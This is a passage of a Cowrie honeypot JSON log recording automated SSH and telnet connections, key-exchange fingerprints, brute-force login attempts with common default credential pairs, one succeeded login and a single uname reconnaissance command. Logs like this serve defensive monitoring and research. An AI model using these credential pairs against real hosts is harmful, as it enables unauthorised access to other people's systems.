com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:14.518530Z","src_ip":"192.109.200.237","session":"e2e36721314e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:14.773855Z","src_ip":"192.109.200.237","session":"e2e36721314e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":49852,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb93b86e4151","protocol":"telnet","message":"New connection: 209.127.178.212:49852 (159.203.135.109:23) [session: eb93b86e4151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:15.588874Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:15.860528Z","src_ip":"192.109.200.237","session":"e2e36721314e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47936,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d02cf8a89a","protocol":"ssh","message":"New connection: 192.109.200.237:47936 (159.203.135.109:22) [session: b3d02cf8a89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:17.971699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:17.977066Z","src_ip":"192.109.200.237","session":"b3d02cf8a89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:18.059598Z","src_ip":"192.109.200.237","session":"b3d02cf8a89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:18.306476Z","src_ip":"192.109.200.237","session":"b3d02cf8a89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.52553629875183,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:18.619927Z","src_ip":"209.127.178.212","session":"18da83c34ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45626,"dst_ip":"10.17.0.5","dst_port":23,"session":"76b7135d00c4","protocol":"telnet","message":"New connection: 152.42.224.71:45626 (10.17.0.5:23) [session: 76b7135d00c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:18.696054Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:19.391573Z","src_ip":"192.109.200.237","session":"b3d02cf8a89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":60666,"dst_ip":"10.17.0.5","dst_port":22,"session":"f56f320102cb","protocol":"ssh","message":"New connection: 43.153.37.39:60666 (10.17.0.5:22) [session: f56f320102cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:19.925317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:19.930827Z","src_ip":"43.153.37.39","session":"f56f320102cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:20.003364Z","src_ip":"43.153.37.39","session":"f56f320102cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@2023","message":"login attempt [root/Cloud@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:20.305507Z","src_ip":"43.153.37.39","session":"f56f320102cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57352,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f6ada0842cd","protocol":"ssh","message":"New connection: 192.109.200.237:57352 (159.203.135.109:22) [session: 8f6ada0842cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.265115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.269920Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.376306Z","src_ip":"43.153.37.39","session":"f56f320102cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.441698Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.742654Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.959888Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:21.963669Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:22.049660Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:22.055295Z","src_ip":"192.109.200.237","session":"8f6ada0842cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57354,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb28dad279c","protocol":"ssh","message":"New connection: 192.109.200.237:57354 (159.203.135.109:22) [session: 7eb28dad279c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:24.708733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:24.714499Z","src_ip":"192.109.200.237","session":"7eb28dad279c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:24.797264Z","src_ip":"192.109.200.237","session":"7eb28dad279c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:25.048505Z","src_ip":"192.109.200.237","session":"7eb28dad279c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:26.135990Z","src_ip":"192.109.200.237","session":"7eb28dad279c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38252,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c35fb123770","protocol":"telnet","message":"New connection: 152.42.224.71:38252 (10.17.0.5:23) [session: 6c35fb123770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:27.452029Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57362,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3e346942f8b","protocol":"ssh","message":"New connection: 192.109.200.237:57362 (159.203.135.109:22) [session: f3e346942f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:28.010674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:28.019817Z","src_ip":"192.109.200.237","session":"f3e346942f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:28.102317Z","src_ip":"192.109.200.237","session":"f3e346942f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:28.506623Z","src_ip":"192.109.200.237","session":"f3e346942f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:29.591526Z","src_ip":"192.109.200.237","session":"f3e346942f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56438,"dst_ip":"159.203.135.109","dst_port":22,"session":"1adccf35001f","protocol":"ssh","message":"New connection: 192.109.200.237:56438 (159.203.135.109:22) [session: 1adccf35001f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:31.466666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:31.471517Z","src_ip":"192.109.200.237","session":"1adccf35001f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"a258c3522df9","protocol":"telnet","message":"New connection: 152.42.224.71:38256 (10.17.0.5:23) [session: a258c3522df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:31.478671Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:31.549948Z","src_ip":"192.109.200.237","session":"1adccf35001f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:31.868772Z","src_ip":"192.109.200.237","session":"1adccf35001f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:32.958496Z","src_ip":"192.109.200.237","session":"1adccf35001f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":45940,"dst_ip":"10.17.0.5","dst_port":22,"session":"269214565a29","protocol":"ssh","message":"New connection: 192.169.243.246:45940 (10.17.0.5:22) [session: 269214565a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:34.855417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:34.861057Z","src_ip":"192.169.243.246","session":"269214565a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:34.943235Z","src_ip":"192.169.243.246","session":"269214565a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56454,"dst_ip":"159.203.135.109","dst_port":22,"session":"631406fa1e86","protocol":"ssh","message":"New connection: 192.109.200.237:56454 (159.203.135.109:22) [session: 631406fa1e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:34.969729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:34.976548Z","src_ip":"192.109.200.237","session":"631406fa1e86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","e